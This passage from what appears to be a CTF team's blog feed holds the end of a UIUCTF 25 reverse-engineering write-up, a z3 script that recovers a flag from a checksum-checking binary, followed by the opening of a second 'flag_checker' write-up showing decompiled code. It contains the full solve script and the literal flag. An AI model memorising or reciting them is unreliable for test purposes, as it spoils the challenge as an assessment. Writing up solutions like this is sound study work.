</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> _ in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">5</span>):
</span></span><span style="display:flex;"><span>        data[-<span style="color:#d0bf69">1</span>] = rot_l(data[-<span style="color:#d0bf69">1</span>], i ** <span style="color:#d0bf69">2</span>) ^ <span style="color:#d0bf69">0x9E3779B97F4A7C15</span>
</span></span><span style="display:flex;"><span>        i += <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        local_60 = data[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>        local_68 = data[-<span style="color:#d0bf69">2</span>]
</span></span><span style="display:flex;"><span>        data = data[:-<span style="color:#d0bf69">2</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        data.append((local_68 ^ <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>) + <span style="color:#d0bf69">1</span> + local_60)
</span></span><span style="display:flex;"><span>        data[-<span style="color:#d0bf69">1</span>] &amp;= <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    s.add(data[-<span style="color:#d0bf69">1</span>] == <span style="color:#d0bf69">0x0796DCF410F11057</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> _ in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">2</span>):
</span></span><span style="display:flex;"><span>        data[-<span style="color:#d0bf69">1</span>] = rot_l(data[-<span style="color:#d0bf69">1</span>], i ** <span style="color:#d0bf69">2</span>) ^ <span style="color:#d0bf69">0x9E3779B97F4A7C15</span>
</span></span><span style="display:flex;"><span>        i += <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        local_60 = data[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>        local_68 = data[-<span style="color:#d0bf69">2</span>]
</span></span><span style="display:flex;"><span>        data = data[:-<span style="color:#d0bf69">2</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        data.append((local_68 ^ <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>) + <span style="color:#d0bf69">1</span> + local_60)
</span></span><span style="display:flex;"><span>        data[-<span style="color:#d0bf69">1</span>] &amp;= <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> data
</span></span></code></pre></div><p>Now we need to add the constraints from the original code</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>blocks = flag_to_data(flag)
</span></span><span style="display:flex;"><span>s.add(crc1(blocks[<span style="color:#d0bf69">8</span>:]) == <span style="color:#d0bf69">0x37FBE21EAE04066A</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>data = crc2(blocks[:<span style="color:#d0bf69">8</span>])
</span></span><span style="display:flex;"><span>x = data.pop()
</span></span><span style="display:flex;"><span>s.add(x == <span style="color:#d0bf69">0x5F36D6201C352A7A</span>)
</span></span></code></pre></div><h3 id="final-script">Final Script</h3>
<p>Now by assembling the previous snippets together we get the final solve script (plus the z3 &ldquo;boilerplate&rdquo; for the symbolic flag).</p>
<p>The only missing piece was the <strong>flag length</strong>. Since it wasn&rsquo;t explicitly checked or enforced in the binary, we attached GDB and set a breakpoint on getchar to observe how many characters were being read. The program attempted to read up to <strong>0x50</strong> characters + &lsquo;\n&rsquo; (<strong>80</strong> characters, which seemed quite long for a flag), so, instead of assuming that was the real length, we bruteforced the correct one in the script by trying all possible values until we found one that satisfied all constraints.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> z3 <span style="color:#fc5fa3">import</span> *
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">flag_to_data</span>(flag):
</span></span><span style="display:flex;"><span>    memory_data = [
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x70</span>, <span style="color:#d0bf69">0x17</span>, <span style="color:#d0bf69">0x58</span>, <span style="color:#d0bf69">0x61</span>, <span style="color:#d0bf69">0x76</span>, <span style="color:#d0bf69">0x01</span>, <span style="color:#d0bf69">0x00</span>, <span style="color:#d0bf69">0x4e</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x45</span>, <span style="color:#d0bf69">0xc7</span>, <span style="color:#d0bf69">0xdf</span>, <span style="color:#d0bf69">0xa9</span>, <span style="color:#d0bf69">0xc2</span>, <span style="color:#d0bf69">0xa3</span>, <span style="color:#d0bf69">0x2a</span>, <span style="color:#d0bf69">0xd6</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0xf2</span>, <span style="color:#d0bf69">0x3a</span>, <span style="color:#d0bf69">0xca</span>, <span style="color:#d0bf69">0x49</span>, <span style="color:#d0bf69">0x39</span>, <span style="color:#d0bf69">0xc0</span>, <span style="color:#d0bf69">0xdb</span>, <span style="color:#d0bf69">0x03</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x70</span>, <span style="color:#d0bf69">0x72</span>, <span style="color:#d0bf69">0x71</span>, <span style="color:#d0bf69">0xea</span>, <span style="color:#d0bf69">0x5f</span>, <span style="color:#d0bf69">0xaa</span>, <span style="color:#d0bf69">0xb7</span>, <span style="color:#d0bf69">0x48</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x3a</span>, <span style="color:#d0bf69">0xa1</span>, <span style="color:#d0bf69">0x9b</span>, <span style="color:#d0bf69">0x4e</span>, <span style="color:#d0bf69">0x21</span>, <span style="color:#d0bf69">0x3c</span>, <span style="color:#d0bf69">0xa3</span>, <span style="color:#d0bf69">0x39</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0xbf</span>, <span style="color:#d0bf69">0x15</span>, <span style="color:#d0bf69">0x16</span>, <span style="color:#d0bf69">0x81</span>, <span style="color:#d0bf69">0x0a</span>, <span style="color:#d0bf69">0xc7</span>, <span style="color:#d0bf69">0xba</span>, <span style="color:#d0bf69">0xfb</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x27</span>, <span style="color:#d0bf69">0x50</span>, <span style="color:#d0bf69">0x95</span>, <span style="color:#d0bf69">0x39</span>, <span style="color:#d0bf69">0xea</span>, <span style="color:#d0bf69">0x7d</span>, <span style="color:#d0bf69">0x6b</span>, <span style="color:#d0bf69">0xc5</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x89</span>, <span style="color:#d0bf69">0x03</span>, <span style="color:#d0bf69">0x98</span>, <span style="color:#d0bf69">0xbf</span>, <span style="color:#d0bf69">0xf0</span>, <span style="color:#d0bf69">0xd7</span>, <span style="color:#d0bf69">0x99</span>, <span style="color:#d0bf69">0xdb</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x30</span>, <span style="color:#d0bf69">0x7c</span>, <span style="color:#d0bf69">0xd7</span>, <span style="color:#d0bf69">0x7a</span>, <span style="color:#d0bf69">0x4b</span>, <span style="color:#d0bf69">0xbf</span>, <span style="color:#d0bf69">0xe1</span>, <span style="color:#d0bf69">0x5e</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0xb4</span>, <span style="color:#d0bf69">0xb0</span>, <span style="color:#d0bf69">0xc9</span>, <span style="color:#d0bf69">0xc4</span>, <span style="color:#d0bf69">0x31</span>, <span style="color:#d0bf69">0xb6</span>, <span style="color:#d0bf69">0x10</span>, <span style="color:#d0bf69">0x5c</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x7f</span>, <span style="color:#d0bf69">0xe6</span>, <span style="color:#d0bf69">0xbc</span>, <span style="color:#d0bf69">0x64</span>, <span style="color:#d0bf69">0x9e</span>, <span style="color:#d0bf69">0xdc</span>, <span style="color:#d0bf69">0xe4</span>, <span style="color:#d0bf69">0x89</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0xc3</span>, <span style="color:#d0bf69">0x5e</span>, <span style="color:#d0bf69">0x1b</span>, <span style="color:#d0bf69">0xcd</span>, <span style="color:#d0bf69">0x01</span>, <span style="color:#d0bf69">0x71</span>, <span style="color:#d0bf69">0x29</span>, <span style="color:#d0bf69">0x9d</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x6a</span>, <span style="color:#d0bf69">0x8d</span>, <span style="color:#d0bf69">0xed</span>, <span style="color:#d0bf69">0x52</span>, <span style="color:#d0bf69">0x33</span>, <span style="color:#d0bf69">0xc2</span>, <span style="color:#d0bf69">0x71</span>, <span style="color:#d0bf69">0x02</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x46</span>, <span style="color:#d0bf69">0x46</span>, <span style="color:#d0bf69">0x0d</span>, <span style="color:#d0bf69">0xc7</span>, <span style="color:#d0bf69">0xe1</span>, <span style="color:#d0bf69">0xde</span>, <span style="color:#d0bf69">0x6c</span>, <span style="color:#d0bf69">0xe1</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0xef</span>, <span style="color:#d0bf69">0xbb</span>, <span style="color:#d0bf69">0x7f</span>, <span style="color:#d0bf69">0x7b</span>, <span style="color:#d0bf69">0x9c</span>, <span style="color:#d0bf69">0xb7</span>, <span style="color:#d0bf69">0x39</span>, <span style="color:#d0bf69">0x1d</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0x70</span>, <span style="color:#d0bf69">0xeb</span>, <span style="color:#d0bf69">0x02</span>, <span style="color:#d0bf69">0x32</span>, <span style="color:#d0bf69">0xe6</span>, <span style="color:#d0bf69">0x61</span>, <span style="color:#d0bf69">0x03</span>, <span style="color:#d0bf69">0xdf</span>,
</span></span><span style="display:flex;"><span>    ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    memory = memory_data[::] + [<span style="color:#d0bf69">0</span>] * <span style="color:#d0bf69">100</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    buf_1 = <span style="color:#d0bf69">0x800060A0</span> - <span style="color:#d0bf69">0x800060A0</span>
</span></span><span style="display:flex;"><span>    buf_2 = <span style="color:#d0bf69">0x800060DF</span> - <span style="color:#d0bf69">0x800060A0</span>
</span></span><span style="display:flex;"><span>    buf_3 = <span style="color:#d0bf69">0x800060E0</span> - <span style="color:#d0bf69">0x800060A0</span>
</span></span><span style="display:flex;"><span>    buf_4 = <span style="color:#d0bf69">0x8000611F</span> - <span style="color:#d0bf69">0x800060A0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> b in flag:
</span></span><span style="display:flex;"><span>        b = (b ^ <span style="color:#d0bf69">0xff</span>) + <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>        memory[buf_1] = b ^ <span style="color:#d0bf69">0x29</span>
</span></span><span style="display:flex;"><span>        memory[buf_2] = b - <span style="color:#d0bf69">82</span>
</span></span><span style="display:flex;"><span>        memory[buf_3] = b ^ ((memory[buf_2] - memory[buf_1]) &amp; <span style="color:#d0bf69">0xFF</span>)
</span></span><span style="display:flex;"><span>        v71 = ((b &amp; <span style="color:#d0bf69">0xFF</span>) &lt;&lt; <span style="color:#d0bf69">4</span>) | ((b &amp; <span style="color:#d0bf69">0xFF</span>) &gt;&gt; <span style="color:#d0bf69">4</span>)
</span></span><span style="display:flex;"><span>        memory[buf_4] = v71 &amp; <span style="color:#d0bf69">0xFF</span>
</span></span><span style="display:flex;"><span>        buf_1 += <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>        buf_2 -= <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>        buf_3 += <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>        buf_4 -= <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    qwords = []
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> addr in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">128</span>, <span style="color:#d0bf69">16</span>):
</span></span><span style="display:flex;"><span>        bytes_data = []
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">16</span>):
</span></span><span style="display:flex;"><span>            bytes_data.append(memory[addr + i])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        qword1 = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>        qword2 = <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">8</span>):
</span></span><span style="display:flex;"><span>            qword1 |= (bytes_data[i] &lt;&lt; (i * <span style="color:#d0bf69">8</span>))
</span></span><span style="display:flex;"><span>            qword2 |= (bytes_data[i + <span style="color:#d0bf69">8</span>] &lt;&lt; (i * <span style="color:#d0bf69">8</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        qwords.append(qword1)
</span></span><span style="display:flex;"><span>        qwords.append(qword2)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> qwords
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">rot_l</span>(x, n):
</span></span><span style="display:flex;"><span>    n %= <span style="color:#d0bf69">64</span>
</span></span><span style="display:flex;"><span>    x = ((x &lt;&lt; n) | (x &gt;&gt; (<span style="color:#d0bf69">64</span>-n)) &amp; <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> x &amp; <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">crc1</span>(data):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">1</span>, <span style="color:#d0bf69">8</span>):
</span></span><span style="display:flex;"><span>        data[-i] = rot_l(data[-i], i ** <span style="color:#d0bf69">2</span>) ^ <span style="color:#d0bf69">0x9E3779B97F4A7C15</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        local_60 = data[-i]
</span></span><span style="display:flex;"><span>        local_68 = data[-i - <span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        data[-i - <span style="color:#d0bf69">1</span>] = ((((local_60 ^ local_68) + <span style="color:#d0bf69">3</span>) &amp; <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>) +
</span></span><span style="display:flex;"><span>                        ((((local_60 ^ <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>) | (
</span></span><span style="display:flex;"><span>                                    local_68 ^ <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>)) * <span style="color:#d0bf69">3</span>) &amp; <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>) +
</span></span><span style="display:flex;"><span>                        ((((local_60 ^ <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>) | (
</span></span><span style="display:flex;"><span>                                    local_68 ^ <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>)) ^ <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>) * <span style="color:#d0bf69">5</span>) &amp; <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        data[-i - <span style="color:#d0bf69">1</span>] &amp;= <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> data[<span style="color:#d0bf69">0</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">crc2</span>(data):
</span></span><span style="display:flex;"><span>    i = <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> _ in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">5</span>):
</span></span><span style="display:flex;"><span>        data[-<span style="color:#d0bf69">1</span>] = rot_l(data[-<span style="color:#d0bf69">1</span>], i ** <span style="color:#d0bf69">2</span>) ^ <span style="color:#d0bf69">0x9E3779B97F4A7C15</span>
</span></span><span style="display:flex;"><span>        i += <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        local_60 = data[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>        local_68 = data[-<span style="color:#d0bf69">2</span>]
</span></span><span style="display:flex;"><span>        data = data[:-<span style="color:#d0bf69">2</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        data.append((local_68 ^ <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>) + <span style="color:#d0bf69">1</span> + local_60)
</span></span><span style="display:flex;"><span>        data[-<span style="color:#d0bf69">1</span>] &amp;= <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    s.add(data[-<span style="color:#d0bf69">1</span>] == <span style="color:#d0bf69">0x0796DCF410F11057</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> _ in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">2</span>):
</span></span><span style="display:flex;"><span>        data[-<span style="color:#d0bf69">1</span>] = rot_l(data[-<span style="color:#d0bf69">1</span>], i ** <span style="color:#d0bf69">2</span>) ^ <span style="color:#d0bf69">0x9E3779B97F4A7C15</span>
</span></span><span style="display:flex;"><span>        i += <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        local_60 = data[-<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>        local_68 = data[-<span style="color:#d0bf69">2</span>]
</span></span><span style="display:flex;"><span>        data = data[:-<span style="color:#d0bf69">2</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        data.append((local_68 ^ <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>) + <span style="color:#d0bf69">1</span> + local_60)
</span></span><span style="display:flex;"><span>        data[-<span style="color:#d0bf69">1</span>] &amp;= <span style="color:#d0bf69">0xFFFFFFFFFFFFFFFF</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> data
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> length in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">10</span>, <span style="color:#d0bf69">0x50</span>, <span style="color:#d0bf69">1</span>): <span style="color:#6c7986"># 32</span>
</span></span><span style="display:flex;"><span>    flag = [BitVec(<span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#39;flag_</span><span style="color:#fc6a5d">{</span>i<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#39;</span>, <span style="color:#d0bf69">64</span>) <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(length)]
</span></span><span style="display:flex;"><span>    s = Solver()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0a8ff">len</span>(flag)):
</span></span><span style="display:flex;"><span>        s.add(flag[i] &gt;= <span style="color:#d0bf69">48</span>, flag[i] &lt;= <span style="color:#d0bf69">125</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    s.add(flag[<span style="color:#d0bf69">0</span>] == <span style="color:#d0a8ff">ord</span>(<span style="color:#fc6a5d">&#39;u&#39;</span>))
</span></span><span style="display:flex;"><span>    s.add(flag[<span style="color:#d0bf69">1</span>] == <span style="color:#d0a8ff">ord</span>(<span style="color:#fc6a5d">&#39;i&#39;</span>))
</span></span><span style="display:flex;"><span>    s.add(flag[<span style="color:#d0bf69">2</span>] == <span style="color:#d0a8ff">ord</span>(<span style="color:#fc6a5d">&#39;u&#39;</span>))
</span></span><span style="display:flex;"><span>    s.add(flag[<span style="color:#d0bf69">3</span>] == <span style="color:#d0a8ff">ord</span>(<span style="color:#fc6a5d">&#39;c&#39;</span>))
</span></span><span style="display:flex;"><span>    s.add(flag[<span style="color:#d0bf69">4</span>] == <span style="color:#d0a8ff">ord</span>(<span style="color:#fc6a5d">&#39;t&#39;</span>))
</span></span><span style="display:flex;"><span>    s.add(flag[<span style="color:#d0bf69">5</span>] == <span style="color:#d0a8ff">ord</span>(<span style="color:#fc6a5d">&#39;f&#39;</span>))
</span></span><span style="display:flex;"><span>    s.add(flag[<span style="color:#d0bf69">6</span>] == <span style="color:#d0a8ff">ord</span>(<span style="color:#fc6a5d">&#39;{&#39;</span>))
</span></span><span style="display:flex;"><span>    s.add(flag[-<span style="color:#d0bf69">1</span>] == <span style="color:#d0a8ff">ord</span>(<span style="color:#fc6a5d">&#39;}&#39;</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    blocks = flag_to_data(flag)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    s.add(crc1(blocks[<span style="color:#d0bf69">8</span>:]) == <span style="color:#d0bf69">0x37FBE21EAE04066A</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    data = crc2(blocks[:<span style="color:#d0bf69">8</span>])
</span></span><span style="display:flex;"><span>    x = data.pop()
</span></span><span style="display:flex;"><span>    s.add(x == <span style="color:#d0bf69">0x5F36D6201C352A7A</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#39;Checking...&#39;</span>, length)
</span></span><span style="display:flex;"><span>    res = s.check()
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> res == sat:
</span></span><span style="display:flex;"><span>        model = s.model()
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;Solution found:&#34;</span>)
</span></span><span style="display:flex;"><span>        result = [<span style="color:#d0a8ff">chr</span>(model[flag[i]].as_long()) <span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">str</span>(model[flag[i]]) != <span style="color:#fc6a5d">&#34;None&#34;</span> <span style="color:#fc5fa3">else</span> <span style="color:#fc6a5d">&#39;?&#39;</span> <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(length)]
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#39;&#39;</span>.join(result))
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">else</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span>(res)
</span></span></code></pre></div><p>We can now wait until the correct len is found (which is 32) and we win.</p>
<h2 id="flag">Flag</h2>
<p><code>uiuctf{M3m0Ry_M4ppED_SysTEmca11}</code></p>
]]></content></item><item><title>UIUCTF 25 - flag_checker</title><link>https://theromanxpl0.it/posts/2025/07/uiuctf-25-flag_checker/</link><pubDate>Tue, 29 Jul 2025 11:15:30 +0200</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/07/uiuctf-25-flag_checker/</guid><description>&lt;h2 id="description">Description&lt;/h2>
&lt;p>Another flag checker challenge&amp;hellip;can you get the correct input to print out the flag?&lt;/p>
&lt;p>author: epistemologist&lt;/p>
&lt;h2 id="analysis">Analysis&lt;/h2>
&lt;p>We start by opening the binary attachment with IDA, from there I can see that the main is fairly simple, it reads an input, runs some checks and then prints the flag.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">int&lt;/span> &lt;span style="color:#fc5fa3">__fastcall&lt;/span> &lt;span style="color:#41a1c0">main&lt;/span>(&lt;span style="color:#fc5fa3">int&lt;/span> argc, &lt;span style="color:#fc5fa3">const&lt;/span> &lt;span style="color:#fc5fa3">char&lt;/span> **argv, &lt;span style="color:#fc5fa3">const&lt;/span> &lt;span style="color:#fc5fa3">char&lt;/span> **envp)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> _BYTE v4[&lt;span style="color:#d0bf69">40&lt;/span>]; &lt;span style="color:#6c7986">// [rsp+0h] [rbp-30h] BYREF
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span> &lt;span style="color:#fc5fa3">unsigned&lt;/span> &lt;span style="color:#fc5fa3">__int64&lt;/span> v5; &lt;span style="color:#6c7986">// [rsp+28h] [rbp-8h]
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6c7986">&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> v5 = &lt;span style="color:#41a1c0">__readfsqword&lt;/span>(&lt;span style="color:#d0bf69">0x28u&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">get_input&lt;/span>(v4, argv, envp);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> ( (&lt;span style="color:#fc5fa3">unsigned&lt;/span> &lt;span style="color:#fc5fa3">__int8&lt;/span>)&lt;span style="color:#41a1c0">check_input&lt;/span>((&lt;span style="color:#fc5fa3">__int64&lt;/span>)v4) )
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">puts&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;PRINTING FLAG: &amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#41a1c0">print_flag&lt;/span>(v4);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#d0bf69">0&lt;/span>;
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>First we take a look to the &lt;code>print_flag&lt;/code> function to see that it takes our input as &amp;ldquo;key&amp;rdquo; to decrypt the flag and print it&lt;/p></description><content type="html"><![CDATA[<h2 id="description">Description</h2>
<p>Another flag checker challenge&hellip;can you get the correct input to print out the flag?</p>
<p>author: epistemologist</p>
<h2 id="analysis">Analysis</h2>
<p>We start by opening the binary attachment with IDA, from there I can see that the main is fairly simple, it reads an input, runs some checks and then prints the flag.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">int</span> <span style="color:#fc5fa3">__fastcall</span> <span style="color:#41a1c0">main</span>(<span style="color:#fc5fa3">int</span> argc, <span style="color:#fc5fa3">const</span> <span style="color:#fc5fa3">char</span> **argv, <span style="color:#fc5fa3">const</span> <span style="color:#fc5fa3">char</span> **envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  _BYTE v4[<span style="color:#d0bf69">40</span>]; <span style="color:#6c7986">// [rsp+0h] [rbp-30h] BYREF
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int64</span> v5; <span style="color:#6c7986">// [rsp+28h] [rbp-8h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>  v5 = <span style="color:#41a1c0">__readfsqword</span>(<span style="color:#d0bf69">0x28u</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">get_input</span>(v4, argv, envp);
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">if</span> ( (<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int8</span>)<span style="color:#41a1c0">check_input</span>((<span style="color:#fc5fa3">__int64</span>)v4) )
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">puts</span>(<span style="color:#fc6a5d">&#34;PRINTING FLAG: &#34;</span>);
